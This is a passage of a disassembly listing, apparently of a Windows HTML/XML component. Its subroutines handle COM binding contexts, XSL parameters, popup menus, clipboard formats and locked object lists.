loc_69B7FDE3: ; CODE XREF: sub_69B7FB0F+2CCj
mov eax, [ebp+var_20]
cmp eax, esi
mov [ebp+ppBSCBPrev], esi
jz short loc_69B7FDF3
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7FDF3: ; CODE XREF: sub_69B7FB0F+2DCj
mov eax, [ebp+pBSCb]
cmp eax, esi
mov [ebp+var_20], esi
jz short loc_69B7FE03
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7FE03: ; CODE XREF: sub_69B7FB0F+2ECj
mov eax, [ebp+var_10]
cmp eax, esi
jz short loc_69B7FE10
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7FE10: ; CODE XREF: sub_69B7FB0F+2F9j
mov eax, [ebp+var_24]
cmp eax, esi
jz short loc_69B7FE1D
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7FE1D: ; CODE XREF: sub_69B7FB0F+306j
push [ebp+lpString] ; BSTR
call SysFreeString
pop edi
pop esi
mov eax, ebx
pop ebx
leave
retn 18h
; ---------------------------------------------------------------------------
loc_69B7FE2F: ; CODE XREF: sub_69B7FB0F+238j
; sub_69B7FB0F+242j
mov eax, [esi]
mov ecx, [eax]
push 0
push eax
call dword ptr [ecx+110h]
mov ebx, eax
test ebx, ebx
jl loc_69B7FD8D
mov eax, [esi]
mov ecx, [eax]
push 0FFFFFFFFh
push eax
call dword ptr [ecx+118h]
mov ebx, eax
test ebx, ebx
jl loc_69B7FD8D
mov eax, [esi]
mov ecx, [eax]
lea edx, [ebp+var_C]
push edx
push offset stru_69B25E84
push eax
call dword ptr [ecx]
mov ebx, eax
test ebx, ebx
jl loc_69B7FD8D
mov eax, [ebp+var_C]
mov ecx, [eax]
lea edx, [ebp+var_14]
push edx
push eax
call dword ptr [ecx+10h]
mov ebx, eax
test ebx, ebx
jl loc_69B7FD8D
push 0E4h
call sub_69B11E44
test eax, eax
jz short loc_69B7FEBF
push [ebp+var_24]
mov ecx, eax
push dword ptr [edi+3Ch]
push dword ptr [edi+30h]
push [ebp+var_10]
push [ebp+arg_4]
push dword ptr [esi]
push [ebp+var_14]
push [ebp+arg_14]
call sub_69B82CB4
mov [ebp+var_8], eax
jmp short loc_69B7FEC3
; ---------------------------------------------------------------------------
loc_69B7FEBF: ; CODE XREF: sub_69B7FB0F+38Bj
and [ebp+var_8], 0
loc_69B7FEC3: ; CODE XREF: sub_69B7FB0F+3AEj
cmp [ebp+var_8], 0
jnz short loc_69B7FED3
loc_69B7FEC9: ; CODE XREF: sub_69B7FB0F+211j
mov ebx, 8007000Eh
jmp loc_69B7FD8D
; ---------------------------------------------------------------------------
loc_69B7FED3: ; CODE XREF: sub_69B7FB0F+3B8j
mov eax, [ebp+var_C]
push [ebp+var_8]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
mov ebx, eax
test ebx, ebx
jl short loc_69B7FF5A
mov eax, [ebp+var_14]
test eax, eax
jz short loc_69B7FEF2
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7FEF2: ; CODE XREF: sub_69B7FB0F+3DBj
mov eax, [ebp+arg_14]
mov ecx, [eax+28h]
and [ebp+var_14], 0
test ecx, ecx
jz short loc_69B7FF09
push [ebp+var_8]
push edi
call sub_69B81633
loc_69B7FF09: ; CODE XREF: sub_69B7FB0F+3EFj
mov esi, [esi]
mov eax, [esi]
lea ecx, [ebp+var_20]
push ecx
push offset dword_69B2AFA0
push esi
call dword ptr [eax]
mov ebx, eax
test ebx, ebx
jl short loc_69B7FF5A
push [ebp+arg_10]
mov eax, [ebp+var_20]
push [ebp+arg_C]
mov ecx, [eax]
push [ebp+arg_4]
push 0
push eax
call dword ptr [ecx+14h]
mov ebx, eax
test ebx, ebx
jl short loc_69B7FF5A
mov eax, [ebp+var_C]
mov esi, [eax]
push eax
call dword ptr [esi+30h]
or eax, 1000h
push eax
push [ebp+var_C]
call dword ptr [esi+70h]
loc_69B7FF4E: ; CODE XREF: sub_69B7FB0F+278j
xor esi, esi
loc_69B7FF50: ; CODE XREF: sub_69B7FB0F+9Ej
cmp ebx, esi
jge loc_69B7FD99
jmp short loc_69B7FF5C
; ---------------------------------------------------------------------------
loc_69B7FF5A: ; CODE XREF: sub_69B7FB0F+3D4j
; sub_69B7FB0F+40Ej ...
xor esi, esi
loc_69B7FF5C: ; CODE XREF: sub_69B7FB0F+449j
mov ecx, [ebp+var_8]
cmp ecx, esi
jz loc_69B7FD8F
cmp byte ptr [ecx+80h], 0
jnz short loc_69B7FF77
push esi
push ebx
call sub_69B837DF
loc_69B7FF77: ; CODE XREF: sub_69B7FB0F+45Fj
xor ebx, ebx
jmp loc_69B7FD99
sub_69B7FB0F endp
; ---------------------------------------------------------------------------
align 10h
aMsohtmlbody: ; DATA XREF: sub_69B7FB0F+54o
unicode 0, <msoHTMLBody>,0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7FF98 proc near ; CODE XREF: sub_69B803AC+43p
String1 = word ptr -210h
var_A = word ptr -0Ah
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 210h
mov eax, dword_69B92170
xor eax, [ebp+4]
push esi
mov [ebp+var_4], eax
xor eax, eax
cmp [ebp+arg_0], 3
mov esi, ecx
jnz short loc_69B7FFC1
mov eax, 80004001h
jmp loc_69B80047
; ---------------------------------------------------------------------------
loc_69B7FFC1: ; CODE XREF: sub_69B7FF98+1Dj
mov ecx, [ebp+arg_4]
test ecx, ecx
jz short loc_69B7FFD1
cmp word ptr [ecx], 8
jnz short loc_69B7FFD1
mov eax, [ecx+8]
loc_69B7FFD1: ; CODE XREF: sub_69B7FF98+2Ej
; sub_69B7FF98+34j
cmp [ebp+arg_0], 2
jnz short loc_69B7FFE2
test eax, eax
jnz short loc_69B80035
mov eax, 80070057h
jmp short loc_69B80047
; ---------------------------------------------------------------------------
loc_69B7FFE2: ; CODE XREF: sub_69B7FF98+3Dj
and [ebp+String1], 0
test eax, eax
jz short loc_69B8000A
push 104h
push eax
lea eax, [ebp+String1]
push eax
call sub_69B84CA0
add esp, 0Ch
and [ebp+var_A], 0
jmp short loc_69B80018
; ---------------------------------------------------------------------------
loc_69B8000A: ; CODE XREF: sub_69B7FF98+54j
lea eax, [ebp+String1]
push eax
mov ecx, esi
call sub_69B7E79D
loc_69B80018: ; CODE XREF: sub_69B7FF98+70j
push 105h ; cchWideChar
lea eax, [ebp+String1]
push eax ; lpString1
mov ecx, esi
call sub_69B7F4D3
test eax, eax
jnz short loc_69B8003D
lea eax, [ebp+String1]
loc_69B80035: ; CODE XREF: sub_69B7FF98+41j
push eax ; OLECHAR *
mov ecx, esi
call sub_69B7E843
loc_69B8003D: ; CODE XREF: sub_69B7FF98+95j
cmp eax, 1
jnz short loc_69B80047
mov eax, 80040103h
loc_69B80047: ; CODE XREF: sub_69B7FF98+24j
; sub_69B7FF98+48j ...
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
pop esi
call sub_69B1B9F6
leave
retn 8
sub_69B7FF98 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B80057 proc near ; DATA XREF: .text:69B1C738o
; .text:69B1C748o ...
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push edi
push 0
lea ecx, [ebp+var_C]
call sub_69B11D3B
push 44h
call sub_69B11E44
test eax, eax
jz short loc_69B80082
push [ebp+arg_0]
mov ecx, eax
call sub_69B7FA79
mov ebx, eax
jmp short loc_69B80084
; ---------------------------------------------------------------------------
loc_69B80082: ; CODE XREF: sub_69B80057+1Bj
xor ebx, ebx
loc_69B80084: ; CODE XREF: sub_69B80057+29j
test ebx, ebx
jnz short loc_69B8008F
mov edi, 8007000Eh
jmp short loc_69B800E1
; ---------------------------------------------------------------------------
loc_69B8008F: ; CODE XREF: sub_69B80057+2Fj
mov ecx, ebx
call sub_69B7E669
mov edi, eax
test edi, edi
jz short loc_69B800A7
mov eax, [ebx]
push 1
mov ecx, ebx
call dword ptr [eax+24h]
jmp short loc_69B800E1
; ---------------------------------------------------------------------------
loc_69B800A7: ; CODE XREF: sub_69B80057+43j
cmp [ebp+arg_0], 0
push esi
jz short loc_69B800C6
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, offset stru_69B1CA6C
xor eax, eax
repe cmpsd
jz short loc_69B800C6
mov edi, 80004005h
jmp short loc_69B800E0
; ---------------------------------------------------------------------------
loc_69B800C6: ; CODE XREF: sub_69B80057+55j
; sub_69B80057+66j
push [ebp+arg_8]
lea esi, [ebx+18h]
push [ebp+arg_4]
mov eax, [esi]
push esi
call dword ptr [eax]
mov edi, eax
test edi, edi
jnz short loc_69B800E0
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B800E0: ; CODE XREF: sub_69B80057+6Dj
; sub_69B80057+81j
pop esi
loc_69B800E1: ; CODE XREF: sub_69B80057+36j
; sub_69B80057+4Ej
lea ecx, [ebp+var_C]
call sub_69B1976C
mov eax, edi
pop edi
pop ebx
leave
retn 0Ch
sub_69B80057 endp
; =============== S U B R O U T I N E =======================================
sub_69B800F1 proc near ; DATA XREF: .text:69B2A75Co
arg_0 = dword ptr 4
sub [esp+arg_0], 4
jmp sub_69B7FA26
sub_69B800F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B800FB(int, int, int, LPBC pBC, int)
sub_69B800FB proc near ; DATA XREF: .text:69B14634o
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
ppbc = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
pBC = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
xor ebx, ebx
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+28h]
cmp eax, ebx
mov [ebp+var_C], ebx
mov [ebp+var_14], ebx
mov [ebp+ppbc], ebx
mov [ebp+var_8], ebx
mov [ebp+var_10], ebx
jz short loc_69B80124
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B80124: ; CODE XREF: sub_69B800FB+21j
push edi
lea edi, [esi+3Ch]
mov eax, [edi]
cmp eax, ebx
mov [esi+28h], ebx
jz short loc_69B80137
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B80137: ; CODE XREF: sub_69B800FB+34j
mov eax, [ebp+pBC]
lea edx, [ebp+var_10]
push edx
push offset aXslparameters ; "XSLParameters"
mov [edi], ebx
mov ecx, [eax]
push eax
call dword ptr [ecx+28h]
mov eax, [ebp+var_10]
cmp eax, ebx
jz short loc_69B80165
mov ecx, [eax]
push edi
push offset dword_69B8039C
push eax
call dword ptr [ecx]
test eax, eax
jl loc_69B8029B
loc_69B80165: ; CODE XREF: sub_69B800FB+55j
mov edi, [ebp+pBC]
mov eax, [edi]
lea ecx, [ebp+var_8]
push ecx
push offset aXmlbufferstrea ; "XMLBufferStream"
push edi
call dword ptr [eax+28h]
lea eax, [ebp+ppbc]
push eax ; ppbc
push ebx ; reserved
call ds:CreateBindCtx
test eax, eax
jl loc_69B8029B
push [ebp+ppbc]
push edi
push offset a__dwnbindinfo ; "__DWNBINDINFO"
call sub_69B7E12C
test eax, eax
jl loc_69B8029B
push [ebp+ppbc]
push edi
push offset a__htmlloadopti ; "__HTMLLOADOPTIONS"
call sub_69B7E12C
test eax, eax
jl loc_69B8029B
cmp [ebp+var_8], ebx
jz short loc_69B801D7
push [ebp+var_8] ; int
mov ecx, esi
push [ebp+arg_10] ; int
push [ebp+ppbc] ; int
push edi ; pBC
push [ebp+arg_8] ; int
push [ebp+arg_4] ; int
call sub_69B7FB0F
jmp loc_69B8029B
; ---------------------------------------------------------------------------
loc_69B801D7: ; CODE XREF: sub_69B800FB+BEj
mov eax, [esi+2Ch]
cmp eax, ebx
jz short loc_69B801E4
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B801E4: ; CODE XREF: sub_69B800FB+E1j
mov edi, [ebp+arg_8]
mov [esi+2Ch], edi
mov eax, [edi]
push edi
call dword ptr [eax+4]
push 4Ch
call sub_69B11E44
cmp eax, ebx
jz short loc_69B80207
mov ecx, eax
call sub_69B81E26
mov [ebp+var_8], eax
jmp short loc_69B8020A
; ---------------------------------------------------------------------------
loc_69B80207: ; CODE XREF: sub_69B800FB+FEj
mov [ebp+var_8], ebx
loc_69B8020A: ; CODE XREF: sub_69B800FB+10Aj
cmp [ebp+var_8], ebx
jz loc_69B8029B
push 10h
call sub_69B11E44
cmp eax, ebx
jz short loc_69B8022E
push edi
push [ebp+var_8]
mov ecx, eax
call sub_69B8215B
mov [ebp+var_C], eax
jmp short loc_69B80231
; ---------------------------------------------------------------------------
loc_69B8022E: ; CODE XREF: sub_69B800FB+121j
mov [ebp+var_C], ebx
loc_69B80231: ; CODE XREF: sub_69B800FB+131j
cmp [ebp+var_C], ebx
jz short loc_69B8029B
push [ebp+ppbc]
push [ebp+pBC]
push offset aD4db6850538511 ; "{d4db6850-5385-11d0-89e9-00a0c90a90ac}"
call sub_69B7E12C
test eax, eax
jl short loc_69B8029B
mov eax, [esi+20h]
mov ecx, [eax]
lea edx, [ebp+var_14]
push edx
push offset dword_69B2AFA0
push eax
call dword ptr [ecx]
test eax, eax
jl short loc_69B8029B
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov eax, [ebp+var_14]
mov ecx, [eax]
push ebx
push [ebp+ppbc]
push [ebp+var_C]
push ebx
push eax
call dword ptr [ecx+14h]
mov ebx, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
test ebx, ebx
jl short loc_69B80299
push [ebp+var_8] ; int
mov ecx, esi
push [ebp+arg_10] ; int
push [ebp+pBC] ; int
push [ebp+ppbc] ; pBC
push edi ; int
push [ebp+arg_4] ; int
call sub_69B7FB0F
loc_69B80299: ; CODE XREF: sub_69B800FB+185j
xor ebx, ebx
loc_69B8029B: ; CODE XREF: sub_69B800FB+64j
; sub_69B800FB+89j ...
mov eax, [ebp+var_10]
cmp eax, ebx
pop edi
jz short loc_69B802A9
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B802A9: ; CODE XREF: sub_69B800FB+1A6j
mov eax, [ebp+ppbc]
cmp eax, ebx
mov [ebp+var_10], ebx
jz short loc_69B802B9
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B802B9: ; CODE XREF: sub_69B800FB+1B6j
mov eax, [ebp+var_C]
cmp eax, ebx
mov [ebp+ppbc], ebx
jz short loc_69B802C9
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B802C9: ; CODE XREF: sub_69B800FB+1C6j
mov eax, [ebp+var_14]
cmp eax, ebx
jz short loc_69B802D6
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B802D6: ; CODE XREF: sub_69B800FB+1D3j
mov eax, [ebp+var_8]
pop esi
mov [ebp+var_14], ebx
cmp eax, ebx
pop ebx
jz short loc_69B802E8
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B802E8: ; CODE XREF: sub_69B800FB+1E5j
xor eax, eax
leave
retn 14h
sub_69B800FB endp
; ---------------------------------------------------------------------------
align 10h
aD4db6850538511: ; DATA XREF: sub_69B800FB+141o
unicode 0, <{d4db6850-5385-11d0-89e9-00a0c90a90ac}>,0
align 10h
a__htmlloadopti: ; DATA XREF: sub_69B800FB+A9o
unicode 0, <__HTMLLOADOPTIONS>,0
a__dwnbindinfo: ; DATA XREF: sub_69B800FB+93o
unicode 0, <__DWNBINDINFO>,0
aXslparameters: ; DATA XREF: sub_69B800FB+43o
unicode 0, <XSLParameters>,0
dword_69B8039C dd 55272A00h, 11CE42CBh, 0AA003581h, 51B84B00h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B803AC proc near ; DATA XREF: .text:69B2A750o
var_3C = byte ptr -3Ch
var_34 = word ptr -34h
var_20 = byte ptr -20h
hMenu = dword ptr -18h
y = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 3Ch
and [ebp+var_8], 0
push ebx
mov ebx, [ebp+arg_0]
mov eax, [ebx+3Ch]
test eax, eax
lea ecx, [eax+1]
mov [ebx+3Ch], ecx
jz short loc_69B803D3
mov [ebp+var_4], 80004005h
jmp loc_69B805A3
; ---------------------------------------------------------------------------
loc_69B803D3: ; CODE XREF: sub_69B803AC+19j
mov edx, [ebp+arg_4]
test edx, edx
push esi
push edi
jnz short loc_69B803FC
cmp [ebp+arg_8], 4
jnz loc_69B804CB
push [ebp+arg_10]
lea ecx, [ebx-4]
push [ebp+arg_C]
call sub_69B7FF98
mov [ebp+var_4], eax
jmp loc_69B805A1
; ---------------------------------------------------------------------------
loc_69B803FC: ; CODE XREF: sub_69B803AC+2Ej
push 4
pop ecx
mov edi, offset dword_69B805CC
mov esi, edx
xor eax, eax
repe cmpsd
jnz loc_69B804CB
cmp [ebp+arg_8], 1
jnz loc_69B804CB
mov eax, [ebx]
lea ecx, [ebp+var_20]
push ecx
push 0
push 0
push 1Bh
push edx
push ebx
call dword ptr [eax+10h]
test eax, eax
mov [ebp+var_4], eax
jnz loc_69B805A1
and [ebp+arg_8], eax
mov eax, [ebp+arg_10]
movsx edi, word ptr [eax+8]
movsx eax, word ptr [eax+0Ah]
nop
mov esi, [ebp+hMenu]
lea ecx, [ebx-4]
mov [ebp+y], eax
call sub_69B7E8D9
xor ecx, ecx
cmp esi, ecx
mov [ebp+arg_4], eax
jz loc_69B805A1
cmp eax, ecx
jz loc_69B805A1
push ecx ; prcRect
push eax ; hWnd
push ecx ; nReserved
push [ebp+y] ; y
push edi ; x
push ecx ; uFlags
push esi ; hMenu
call TrackPopupMenu ; TrackPopupMenu
test eax, eax
jz short loc_69B804A2
push 1
mov eax, 111h
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+var_3C]
push eax
call ds:SHLWAPI_116
test eax, eax
jz short loc_69B804A2
movzx edi, [ebp+var_34]
mov [ebp+arg_8], 1
jmp short loc_69B804A5
; ---------------------------------------------------------------------------
loc_69B804A2: ; CODE XREF: sub_69B803AC+CDj
; sub_69B803AC+E7j
mov edi, [ebp+arg_8]
loc_69B804A5: ; CODE XREF: sub_69B803AC+F4j
push esi ; hMenu
call DestroyMenu ; DestroyMenu
xor eax, eax
cmp [ebp+arg_8], eax
jz loc_69B805A1
mov ecx, [ebx]
push eax
push eax
push eax
push edi
push offset dword_69B2AEE0
push ebx
call dword ptr [ecx+10h]
jmp loc_69B805A1
; ---------------------------------------------------------------------------
loc_69B804CB: ; CODE XREF: sub_69B803AC+34j
; sub_69B803AC+5Ej ...
and [ebp+y], 0
test edx, edx
jz short loc_69B80516
push 4
mov eax, offset dword_69B2AEE0
mov esi, edx
pop ecx
mov edi, eax
xor edx, edx
repe cmpsd
jnz short loc_69B804EE
cmp [ebp+arg_8], 85Bh
jz short loc_69B80505
loc_69B804EE: ; CODE XREF: sub_69B803AC+137j
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, offset dword_69B805BC
xor edx, edx
repe cmpsd
jnz short loc_69B80516
cmp [ebp+arg_8], 2
jnz short loc_69B80516
loc_69B80505: ; CODE XREF: sub_69B803AC+140j
mov [ebp+arg_4], eax
mov [ebp+arg_8], 943h
mov [ebp+y], 1
loc_69B80516: ; CODE XREF: sub_69B803AC+125j
; sub_69B803AC+151j ...
mov eax, [ebx+1Ch]
mov ecx, [eax]
lea edx, [ebp+var_8]
push edx
push offset nullsub_2
push eax
call dword ptr [ecx]
test eax, eax
mov [ebp+var_4], eax
jl short loc_69B805A1
cmp [ebp+var_8], 0
jz short loc_69B805A1
add ebx, 0FFFFFFFCh
mov eax, [ebx]
push ebx
call dword ptr [eax+4]
push [ebp+arg_14]
mov eax, [ebp+var_8]
push [ebp+arg_10]
mov esi, [ebp+arg_4]
push [ebp+arg_C]
mov ecx, [eax]
push [ebp+arg_8]
push esi
push eax
call dword ptr [ecx+10h]
mov [ebp+var_4], eax
mov eax, [ebx]
push ebx
call dword ptr [eax+8]
cmp [ebp+var_4], 0
jnz short loc_69B8058C
test esi, esi
jz short loc_69B8059E
push 4
pop ecx
mov edi, offset dword_69B805CC
xor eax, eax
repe cmpsd
jnz short loc_69B8059E
cmp [ebp+arg_8], 1Bh
jnz short loc_69B8059E
mov eax, [ebp+arg_14]
push dword ptr [eax+8] ; hMenu
mov ecx, ebx
call sub_69B7E71B
jmp short loc_69B8059E
; ---------------------------------------------------------------------------
loc_69B8058C: ; CODE XREF: sub_69B803AC+1B7j
cmp [ebp+y], 0
jz short loc_69B8059E
push 0C00CE402h
mov ecx, ebx
call sub_69B7F789
loc_69B8059E: ; CODE XREF: sub_69B803AC+1BBj
; sub_69B803AC+1C9j ...
mov ebx, [ebp+arg_0]
loc_69B805A1: ; CODE XREF: sub_69B803AC+4Bj
; sub_69B803AC+84j ...
pop edi
pop esi
loc_69B805A3: ; CODE XREF: sub_69B803AC+22j
dec dword ptr [ebx+3Ch]
mov eax, [ebp+var_8]
test eax, eax
pop ebx
jz short loc_69B805B4
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B805B4: ; CODE XREF: sub_69B803AC+200j
mov eax, [ebp+var_4]
leave
retn 18h
sub_69B803AC endp
; ---------------------------------------------------------------------------
align 4
dword_69B805BC dd 0ED016940h, 11CFBD5Bh, 0C0004EBAh, 1608D74Fh
; DATA XREF: sub_69B803AC+148o
dword_69B805CC dd 214D1h, 0 ; sub_69B803AC+1C0o
dd 0C0h, 46000000h
; =============== S U B R O U T I N E =======================================
sub_69B805DC proc near ; CODE XREF: sub_69B8060F+1Cj
; sub_69B81C44+26p
push esi
mov esi, ecx
mov eax, [esi+24h]
test eax, eax
jz short loc_69B805F0
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
and dword ptr [esi+24h], 0
loc_69B805F0: ; CODE XREF: sub_69B805DC+8j
mov ecx, [esi+28h]
test ecx, ecx
jz short loc_69B8060D
push 0
push 0
call sub_69B81633
mov eax, [esi+28h]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
and dword ptr [esi+28h], 0
loc_69B8060D: ; CODE XREF: sub_69B805DC+19j
pop esi
retn
sub_69B805DC endp
; =============== S U B R O U T I N E =======================================
sub_69B8060F proc near ; CODE XREF: sub_69B80996+ACp
push esi
mov esi, ecx
cmp dword ptr [esi+24h], 0
jz short loc_69B80628
mov eax, [esi+24h]
mov ecx, [eax]
push offset word_69B26224
push 0
push eax
call dword ptr [ecx+1Ch]
loc_69B80628: ; CODE XREF: sub_69B8060F+7j
mov ecx, esi
pop esi
jmp short sub_69B805DC
sub_69B8060F endp
; =============== S U B R O U T I N E =======================================
sub_69B8062D proc near ; CODE XREF: sub_69B80996:loc_69B809ECp
mov ax, word_69B9B6BC
test ax, ax
jnz short locret_69B80656
push offset szFormat ; "text/html"
call RegisterClipboardFormatA ; RegisterClipboardFormatA
test ax, ax
mov word_69B9B6BC, ax
jnz short locret_69B80656
inc ax
mov word_69B9B6BC, ax
locret_69B80656: ; CODE XREF: sub_69B8062D+9j
; sub_69B8062D+1Fj
retn
sub_69B8062D endp
; ---------------------------------------------------------------------------
align 4
; char szFormat[]
szFormat db 'text/html',0 ; DATA XREF: sub_69B8062D+Bo
; =============== S U B R O U T I N E =======================================
sub_69B80662 proc near ; CODE XREF: sub_69B80AE7+Ep
; StartAddress+A8p
push esi
push edi
mov esi, ecx
push dword ptr [esi+4] ; lpCriticalSection
xor edi, edi
call ds:EnterCriticalSection
mov ecx, [esi+8]
test ecx, ecx
jz short loc_69B80691
mov eax, [esi]
mov edi, [eax]
dec ecx
mov [esi+8], ecx
shl ecx, 2
push ecx
lea ecx, [eax+4]
push ecx
push eax
call sub_69B22103
add esp, 0Ch
loc_69B80691: ; CODE XREF: sub_69B80662+14j
push dword ptr [esi+4] ; lpCriticalSection
call ds:LeaveCriticalSection
mov eax, edi
pop edi
pop esi
retn
sub_69B80662 endp
; =============== S U B R O U T I N E =======================================
sub_69B8069F proc near ; CODE XREF: StartAddress+D7p
push esi
push edi
mov esi, ecx
push dword ptr [esi+4] ; lpCriticalSection
xor edi, edi
call ds:EnterCriticalSection
cmp [esi+8], edi
jz short loc_69B806B7
mov eax, [esi]
mov edi, [eax]
loc_69B806B7: ; CODE XREF: sub_69B8069F+12j
push dword ptr [esi+4] ; lpCriticalSection
call ds:LeaveCriticalSection
mov eax, edi
pop edi
pop esi
retn
sub_69B8069F endp
; =============== S U B R O U T I N E =======================================
sub_69B806C5 proc near ; CODE XREF: sub_69B1E4CF:loc_69B24B0Cp
; sub_69B80A56+3p ...
push esi
push edi
mov esi, ecx
push dword ptr [esi+4] ; lpCriticalSection
call ds:EnterCriticalSection
mov edi, [esi]
test edi, edi
jz short loc_69B80701
push ebx
xor ebx, ebx
cmp [esi+8], ebx
jbe short loc_69B806FC
loc_69B806E0: ; CODE XREF: sub_69B806C5+35j
mov ecx, [edi]
mov eax, [ecx]
call dword ptr [eax+0Ch]
mov ecx, [edi]
test ecx, ecx
jz short loc_69B806F3
mov eax, [ecx]
push 1
call dword ptr [eax]
loc_69B806F3: ; CODE XREF: sub_69B806C5+26j
inc ebx
add edi, 4
cmp ebx, [esi+8]
jb short loc_69B806E0
loc_69B806FC: ; CODE XREF: sub_69B806C5+19j
and dword ptr [esi+8], 0
pop ebx
loc_69B80701: ; CODE XREF: sub_69B806C5+11j
push dword ptr [esi+4] ; lpCriticalSection
call ds:LeaveCriticalSection
pop edi
pop esi
retn
sub_69B806C5 endp
; =============== S U B R O U T I N E =======================================
sub_69B8070D proc near ; CODE XREF: sub_69B8110C-6p
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov esi, ecx
push dword ptr [esi+4] ; lpCriticalSection
call ds:EnterCriticalSection
mov edi, [esi]
xor ebx, ebx
cmp edi, ebx
jz short loc_69B80747
cmp [esi+8], ebx
jbe short loc_69B80747
loc_69B80728: ; CODE XREF: sub_69B8070D+2Fj
mov ecx, [edi]
mov eax, [ecx]
call dword ptr [eax+14h]
cmp eax, [esp+0Ch+arg_0]
jz short loc_69B80740
inc ebx
add edi, 4
cmp ebx, [esi+8]
jb short loc_69B80728
jmp short loc_69B80747
; ---------------------------------------------------------------------------
loc_69B80740: ; CODE XREF: sub_69B8070D+26j
mov ecx, [edi]
mov eax, [ecx]
call dword ptr [eax+10h]
loc_69B80747: ; CODE XREF: sub_69B8070D+14j
; sub_69B8070D+19j ...
push dword ptr [esi+4] ; lpCriticalSection
call ds:LeaveCriticalSection
pop edi
pop esi
pop ebx
retn 4
sub_69B8070D endp
; =============== S U B R O U T I N E =======================================
sub_69B80756 proc near ; DATA XREF: .text:69B2A794o
push esi
push edi
mov esi, ecx
xor edi, edi
cmp [esi+8], edi
jnz loc_69B80809
cmp [esi+18h], edi
jz short loc_69B80788
push dword ptr [esi+20h]
mov eax, [esi+10h]
mov eax, [eax+34h]
push dword ptr [esi+0Ch]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
push dword ptr [esi+14h] ; hEvent
call ds:ResetEvent ; ResetEvent
mov [esi+18h], edi
loc_69B80788: ; CODE XREF: sub_69B80756+12j
cmp [esi+1Ch], edi
jnz short loc_69B807C3
mov eax, [esi+0Ch]
mov ecx, [eax]
push eax
call dword ptr [ecx+64h]
sub eax, 4
jz short loc_69B807B5
dec eax
jz short loc_69B807AE
mov eax, [esi+0Ch]
mov ecx, [eax]
push 1000h
push eax
call dword ptr [ecx+60h]
jmp short loc_69B807B7
; ---------------------------------------------------------------------------
loc_69B807AE: ; CODE XREF: sub_69B80756+46j
mov eax, 8000000Ah
jmp short loc_69B807B7
; ---------------------------------------------------------------------------
loc_69B807B5: ; CODE XREF: sub_69B80756+43j
xor eax, eax
loc_69B807B7: ; CODE XREF: sub_69B80756+56j
; sub_69B80756+5Dj
xor ecx, ecx
cmp eax, edi
setnl cl
mov [esi+1Ch], ecx
jmp short loc_69B807C5
; ---------------------------------------------------------------------------
loc_69B807C3: ; CODE XREF: sub_69B80756+35j
xor eax, eax
loc_69B807C5: ; CODE XREF: sub_69B80756+6Bj
cmp eax, 8000000Ah
jnz short loc_69B807D1
push 2
pop eax
jmp short loc_69B8080C
; ---------------------------------------------------------------------------
loc_69B807D1: ; CODE XREF: sub_69B80756+74j
xor ecx, ecx
cmp eax, edi
setl cl
mov eax, ecx
cmp eax, edi
jnz short loc_69B8080C
mov ecx, [esi+10h]
push edi
push edi
call sub_69B834CD
test eax, eax
jl short loc_69B80809
mov esi, [esi+10h]
cmp dword ptr [esi+58h], 2
jnz short loc_69B807FD
mov al, [esi+88h]
jmp short loc_69B807FF
; ---------------------------------------------------------------------------
loc_69B807FD: ; CODE XREF: sub_69B80756+9Dj
mov al, 1
loc_69B807FF: ; CODE XREF: sub_69B80756+A5j
neg al
sbb eax, eax
and eax, 0FFFFFFFEh
inc eax
jmp short loc_69B8080B
; ---------------------------------------------------------------------------
loc_69B80809: ; CODE XREF: sub_69B80756+9j
; sub_69B80756+94j
xor eax, eax
loc_69B8080B: ; CODE XREF: sub_69B80756+B1j
inc eax
loc_69B8080C: ; CODE XREF: sub_69B80756+79j
; sub_69B80756+86j
pop edi
pop esi
retn
sub_69B80756 endp
; =============== S U B R O U T I N E =======================================
